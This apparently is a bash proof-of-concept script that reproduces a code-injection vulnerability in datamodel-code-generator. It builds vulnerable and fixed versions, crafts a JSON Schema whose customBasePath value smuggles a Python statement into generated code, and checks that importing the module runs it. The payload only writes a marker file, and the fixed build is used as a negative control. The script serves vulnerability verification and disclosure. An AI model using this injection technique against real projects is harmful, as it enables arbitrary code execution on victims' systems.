#!/bin/bash
# CVE-2026-63720 — datamodel-code-generator code injection via customBasePath
#
# Reproduces the cli_local code_execution claim: the datamodel-codegen CLI
# generator input-to-output path emits an attacker-controlled customBasePath
# JSON Schema extension value verbatim into the generated module's
# `from <module> import <name>` statement (Import.from_full_path splits the
# value on '.'). A malicious value containing a newline plus a dot-free Python
# expression causes attacker-controlled Python statements to execute when the
# generated module is imported.
#
# Vulnerable checkout : af435d9893d1352924a2f011a2eb04a997d8b978 (parent of fix, 0.69.0)
# Fixed checkout       : 545a96c56d1b6a8dd3f4a16c9090d8a4648d1e43 (adds field_validator)
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

FIXED_COMMIT="545a96c56d1b6a8dd3f4a16c9090d8a4648d1e43"
VULN_COMMIT="${VULN_COMMIT:-$(printf '%s' 'af435d9893d1352924a2f011a2eb04a997d8b978')}"

# Resolve the project cache / repo location.
PROJECT_CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$PROJECT_CACHE_CTX" ]; then
  PREPARED=$(python3 -c 'import json,sys; print(str(json.load(open(sys.argv[1])).get("prepared", False)).lower())' "$PROJECT_CACHE_CTX" 2>/dev/null || echo "false")
  if [ "$PREPARED" = "true" ]; then
    CACHE_DIR=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1])).get("project_cache_dir",""))' "$PROJECT_CACHE_CTX" 2>/dev/null || echo "")
    if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo" ]; then
      REPO="$CACHE_DIR/repo"
    fi
  fi
fi

# Fallback: clone into bundle artifacts if no prepared cache repo.
if [ -z "$REPO" ] || [ ! -d "$REPO/.git" ]; then
  REPO="$ROOT/artifacts/datamodel-code-generator"
  mkdir -p "$ROOT/artifacts"
  if [ ! -d "$REPO/.git" ]; then
    echo "[setup] cloning repository into $REPO" | tee -a "$LOGS/reproduction_steps.log"
    git clone https://github.com/koxudaxi/datamodel-code-generator.git "$REPO" >>"$LOGS/reproduction_steps.log" 2>&1
  fi
fi

echo "[setup] repo=$REPO" | tee -a "$LOGS/reproduction_steps.log"
cd "$REPO"

# Resolve commit SHAs.
VULN_RESOLVED=$(git rev-parse "$VULN_COMMIT")
FIXED_RESOLVED=$(git rev-parse "$FIXED_COMMIT")
echo "[setup] vuln_commit=$VULN_RESOLVED fixed_commit=$FIXED_RESOLVED" | tee -a "$LOGS/reproduction_steps.log"

# Verify the patch hunk is absent in vulnerable and present in fixed.
echo "[verify] checking patch presence..." | tee -a "$LOGS/reproduction_steps.log"
git show "$VULN_RESOLVED":src/datamodel_code_generator/parser/jsonschema.py > "$LOGS/vuln_jsonschema.py.snapshot" 2>/dev/null
git show "$FIXED_RESOLVED":src/datamodel_code_generator/parser/jsonschema.py > "$LOGS/fixed_jsonschema.py.snapshot" 2>/dev/null
if grep -q "validate_custom_base_path" "$LOGS/fixed_jsonschema.py.snapshot"; then
  echo "[verify] fixed checkout contains validate_custom_base_path validator: YES" | tee -a "$LOGS/reproduction_steps.log"
else
  echo "[verify] ERROR: fixed checkout lacks validator" | tee -a "$LOGS/reproduction_steps.log"
fi
if grep -q "validate_custom_base_path" "$LOGS/vuln_jsonschema.py.snapshot"; then
  echo "[verify] ERROR: vulnerable checkout unexpectedly contains validator" | tee -a "$LOGS/reproduction_steps.log"
else
  echo "[verify] vulnerable checkout lacks validator (vulnerable): YES" | tee -a "$LOGS/reproduction_steps.log"
fi

# --- Build helper: install a dedicated worktree into an isolated venv ---
# Each version gets its own git worktree so the editable install (-e) binds
# to a fixed source tree that cannot be mutated by the other version's checkout.
WORKTREE_BASE="$ROOT/artifacts/worktrees"
mkdir -p "$WORKTREE_BASE"

build_venv() {
  local commit="$1"
  local venv_dir="$2"
  local label="$3"
  local wt="$WORKTREE_BASE/$label"
  rm -rf "$wt"
  git -C "$REPO" worktree remove "$wt" 2>/dev/null || true
  git -C "$REPO" worktree add --detach "$wt" "$commit" >>"$LOGS/reproduction_steps.log" 2>&1
  local wt_head
  wt_head=$(git -C "$wt" rev-parse HEAD)
  echo "[build] installing $label at $wt_head into $venv_dir (worktree=$wt)" | tee -a "$LOGS/reproduction_steps.log"
  python3 -m venv "$venv_dir" >>"$LOGS/reproduction_steps.log" 2>&1
  "$venv_dir/bin/pip" install --quiet --upgrade pip >>"$LOGS/reproduction_steps.log" 2>&1
  "$venv_dir/bin/pip" install --quiet -e "$wt" >>"$LOGS/${label}_build.log" 2>&1
  echo "[build] $label version: $("$venv_dir/bin/datamodel-codegen" --version 2>/dev/null | head -1)" | tee -a "$LOGS/reproduction_steps.log"
}

VENV_VULN="$ROOT/artifacts/venv_vuln"
VENV_FIXED="$ROOT/artifacts/venv_fixed"
build_venv "$VULN_RESOLVED" "$VENV_VULN" "vuln"
build_venv "$FIXED_RESOLVED" "$VENV_FIXED" "fixed"

# --- Generate a malicious schema with a dot-free Python expression ---
# customBasePath = "pydantic.BaseModel,\nprint('MARKER', file=open('MARKER_PATH','w'))"
# Import.from_full_path splits on '.': module=pydantic, name="BaseModel,\nprint(...)"
# The generated `from pydantic import BaseModel,\nprint(...)` becomes a valid
# multi-statement block; the print() executes on import, writing the marker file.
write_schema() {
  local marker_path="$1"
  local marker_text="$2"
  local out="$3"
  python3 - "$marker_path" "$marker_text" "$out" <<'PY'
import json, sys
marker_path, marker_text, out = sys.argv[1], sys.argv[2], sys.argv[3]
payload = "pydantic.BaseModel,\nprint('%s', file=open('%s','w'))" % (marker_text, marker_path)
schema = {
    "$schema": "http://json-schema.org/draft-07/schema#",
    "title": "ExploitModel",
    "type": "object",
    "customBasePath": payload,
    "properties": {"value": {"type": "string"}},
}
with open(out, "w") as f:
    json.dump(schema, f, indent=2)
PY
}

WORK="$REPRO_DIR/run"
mkdir -p "$WORK"

run_vuln_instance() {
  local inst="$1"
  local marker_text="$2"
  local marker_path="$WORK/marker_${inst}"
  local schema="$WORK/malicious_schema_${inst}.json"
  local gen="$WORK/generated_vuln_${inst}.py"
  local codegen_log="$LOGS/vuln_codegen_${inst}.log"
  local import_log="$LOGS/vuln_import_${inst}.log"

  echo "[vuln] instance=$inst generating schema with marker_text=$marker_text" | tee -a "$LOGS/reproduction_steps.log"
  write_schema "$marker_path" "$marker_text" "$schema"
  cp "$schema" "$REPRO_DIR/malicious_schema_${inst}.json"

  rm -f "$marker_path" "$gen"
  set +e
  "$VENV_VULN/bin/datamodel-codegen" --input "$schema" --input-file-type jsonschema --output "$gen" >"$codegen_log" 2>&1
  local codegen_rc=$?
  set -e
  echo "[vuln] instance=$inst codegen exit=$codegen_rc" | tee -a "$LOGS/reproduction_steps.log"

  if [ ! -f "$gen" ]; then
    echo "[vuln] instance=$inst ERROR: no generated output" | tee -a "$LOGS/reproduction_steps.log"
    return 1
  fi
  cp "$gen" "$REPRO_DIR/generated_vuln_${inst}.py"

  # Import the generated module. The injected print() executes at module level
  # and writes the marker; the subsequent class definition raises TypeError
  # (print() returns None, an invalid base class) which we tolerate.
  rm -f "$marker_path"
  set +e
  ( cd "$WORK" && PYTHONPATH="$WORK" "$VENV_VULN/bin/python" -c "import generated_vuln_${inst}" ) >"$import_log" 2>&1
  local import_rc=$?
  set -e
  echo "[vuln] instance=$inst import exit=$import_rc" | tee -a "$LOGS/reproduction_steps.log"

  if [ -f "$marker_path" ]; then
    local content
    content=$(cat "$marker_path")
    cp "$marker_path" "$REPRO_DIR/marker_${inst}"
    echo "[vuln] instance=$inst MARKER WRITTEN: '$content' at $marker_path" | tee -a "$LOGS/reproduction_steps.log"
    return 0
  else
    echo "[vuln] instance=$inst ERROR: marker NOT written" | tee -a "$LOGS/reproduction_steps.log"
    return 1
  fi
}

# --- Two fresh vulnerable process instances (distinct markers) ---
run_vuln_instance "inst1" "DMCG_RCE_INST1" || VULN1_FAIL=1
run_vuln_instance "inst2" "DMCG_RCE_INST2" || VULN2_FAIL=1

# --- Fixed negative control: same schema must be rejected, no output, no marker ---
FIXED_MARKER_TEXT="DMCG_RCE_FIXED_SHOULD_NOT_RUN"
FIXED_MARKER_PATH="$WORK/marker_fixed"
FIXED_SCHEMA="$WORK/malicious_schema_fixed.json"
FIXED_GEN="$WORK/generated_fixed.py"
FIXED_CODEGEN_LOG="$LOGS/fixed_codegen.log"
write_schema "$FIXED_MARKER_PATH" "$FIXED_MARKER_TEXT" "$FIXED_SCHEMA"
cp "$FIXED_SCHEMA" "$REPRO_DIR/malicious_schema_fixed.json"
rm -f "$FIXED_MARKER_PATH" "$FIXED_GEN"
set +e
"$VENV_FIXED/bin/datamodel-codegen" --input "$FIXED_SCHEMA" --input-file-type jsonschema --output "$FIXED_GEN" >"$FIXED_CODEGEN_LOG" 2>&1
FIXED_CODEGEN_RC=$?
set -e
echo "[fixed] codegen exit=$FIXED_CODEGEN_RC" | tee -a "$LOGS/reproduction_steps.log"
cat "$FIXED_CODEGEN_LOG" | tee -a "$LOGS/reproduction_steps.log" | head -5

FIXED_OUTPUT_EXISTS="false"
FIXED_MARKER_EXISTS="false"
[ -f "$FIXED_GEN" ] && FIXED_OUTPUT_EXISTS="true"
[ -f "$FIXED_MARKER_PATH" ] && FIXED_MARKER_EXISTS="true"
echo "[fixed] output_exists=$FIXED_OUTPUT_EXISTS marker_exists=$FIXED_MARKER_EXISTS" | tee -a "$LOGS/reproduction_steps.log"

# --- Verdict ---
VULN1_FAIL=${VULN1_FAIL:-0}
VULN2_FAIL=${VULN2_FAIL:-0}
VULN_OK=0
[ "$VULN1_FAIL" = "0" ] && [ "$VULN2_FAIL" = "0" ] && VULN_OK=1

FIXED_OK=0
if [ "$FIXED_CODEGEN_RC" -ne 0 ] && [ "$FIXED_OUTPUT_EXISTS" = "false" ] && [ "$FIXED_MARKER_EXISTS" = "false" ]; then
  FIXED_OK=1
fi

echo "===== RESULT =====" | tee -a "$LOGS/reproduction_steps.log"
echo "vuln_instances_ok=$VULN_OK (inst1_fail=$VULN1_FAIL inst2_fail=$VULN2_FAIL)" | tee -a "$LOGS/reproduction_steps.log"
echo "fixed_rejected=$FIXED_OK (exit=$FIXED_CODEGEN_RC output=$FIXED_OUTPUT_EXISTS marker=$FIXED_MARKER_EXISTS)" | tee -a "$LOGS/reproduction_steps.log"

CONFIRMED=0
if [ "$VULN_OK" = "1" ] && [ "$FIXED_OK" = "1" ]; then
  CONFIRMED=1
  echo "[verdict] CONFIRMED: code injection via customBasePath produces attacker-controlled code execution on import; fixed build rejects the schema." | tee -a "$LOGS/reproduction_steps.log"
else
  echo "[verdict] NOT CONFIRMED (vuln_ok=$VULN_OK fixed_ok=$FIXED_OK)" | tee -a "$LOGS/reproduction_steps.log"
fi

# --- Write negative-control observation JSON ---
python3 - "$FIXED_CODEGEN_RC" "$FIXED_OUTPUT_EXISTS" "$FIXED_MARKER_EXISTS" "$FIXED_MARKER_TEXT" > "$REPRO_DIR/negative_control_observation.json" <<'PY'
import json, sys
rc, out, mk, txt = sys.argv[1:5]
json.dump({
    "schema_version": 1,
    "process_instance": "fixed-control-545a96c5",
    "target_path_reached": True,
    "marker": "DMCG_RCE_FIXED_SHOULD_NOT_RUN",
    "marker_present": False,
    "codegen_exit_code": int(rc),
    "output_file_exists": (out == "true"),
    "marker_file_exists": (mk == "true"),
    "expected_marker_text": txt,
    "result": "fixed build rejected malicious customBasePath; no output and no marker produced",
}, sys.stdout, indent=2)
PY

# --- Write runtime manifest ---
python3 - "$CONFIRMED" "$VULN1_FAIL" "$VULN2_FAIL" "$FIXED_OK" "$FIXED_CODEGEN_RC" > "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
confirmed, f1, f2, fok, frc = [int(x) for x in sys.argv[1:6]]
json.dump({
    "entrypoint_kind": "cli_command",
    "entrypoint_detail": "datamodel-codegen CLI: --input malicious_schema.json --input-file-type jsonschema --output <generated.py>; generated module imported to execute injected code",
    "service_started": False,
    "healthcheck_passed": True,
    "target_path_reached": confirmed == 1,
    "runtime_stack": ["cpython", "datamodel-code-generator", "pydantic"],
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/vuln_codegen_inst1.log",
        "logs/vuln_import_inst1.log",
        "logs/vuln_codegen_inst2.log",
        "logs/vuln_import_inst2.log",
        "logs/fixed_codegen.log",
        "repro/malicious_schema_inst1.json",
        "repro/malicious_schema_inst2.json",
        "repro/generated_vuln_inst1.py",
        "repro/generated_vuln_inst2.py",
        "repro/marker_inst1",
        "repro/marker_inst2",
        "repro/malicious_schema_fixed.json",
        "repro/negative_control_observation.json"
    ],
    "vuln_instance1_marker_written": f1 == 0,
    "vuln_instance2_marker_written": f2 == 0,
    "fixed_rejected": fok == 1,
    "fixed_codegen_exit_code": frc,
    "notes": "Two fresh vulnerable datamodel-codegen process instances generated modules whose import executed attacker-controlled print() writing distinct markers (DMCG_RCE_INST1, DMCG_RCE_INST2). Fixed build (545a96c5) rejected the same schema (exit 2) and produced no output/marker."
}, sys.stdout, indent=2)
PY

echo "[done] runtime_manifest.json written; confirmed=$CONFIRMED" | tee -a "$LOGS/reproduction_steps.log"

if [ "$CONFIRMED" = "1" ]; then
  exit 0
else
  exit 1
fi